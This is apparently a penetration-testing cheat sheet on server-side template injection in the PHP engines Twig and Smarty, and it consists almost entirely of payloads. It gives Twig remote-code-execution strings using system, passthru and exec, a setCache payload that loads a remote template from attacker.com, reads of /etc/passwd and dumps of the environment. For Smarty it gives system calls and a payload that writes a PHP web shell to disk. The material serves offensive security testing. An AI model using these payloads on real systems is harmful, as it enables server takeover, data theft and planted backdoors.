Twig & Smarty SSTI (PHP)
| CWE | CWE-1336 |
| Tools | tplmap |
| Difficulty | 🟡 intermediate |
Twig (PHP)​
Twig is the default template engine for Symfony.
Exploitation methodology:
-
Access Twig environment:
{{ _self.env }}
{{ _self.env.getFilter('id') }} -
Access Symfony/application objects:
{{ app.request.server.all() }}
{{ app.request.cookies.all() }} -
RCE via filter (Twig 2.x+):
{{ ['id']|filter('system') }}
{{ ['id']|map('system') }}
{{ ['id','']|sort('system') }} -
RCE via map:
{{ {0: 'id'}|map('passthru') }} -
RCE via deprecated registerUndefinedFilterCallback (Twig < 1.20):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} -
RCE via setCache:
{{_self.env.setCache("ftp://attacker.com/")}}{{_self.env.loadTemplate("backdoor")}} -
File read:
{{ source('/etc/passwd') }}
{{ include('/etc/passwd') }} -
Information disclosure:
{{ _context }}
{{ dump() }}
{{ app }}
Twig sandbox inspection:
{{ _self.env.getFilters()|keys|join(', ') }}
{{ _self.env.getFunctions()|keys|join(', ') }}
If include is allowed in the sandbox, use it for file reads.
Smarty (PHP)​
Detection:
{$smarty.version}
RCE (older versions with {php} tags):
{php}echo system('id');{/php}
File read:
{self::getStreamVariable("file:///etc/passwd")}
RCE via Smarty functions (if available):
{system('id')}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}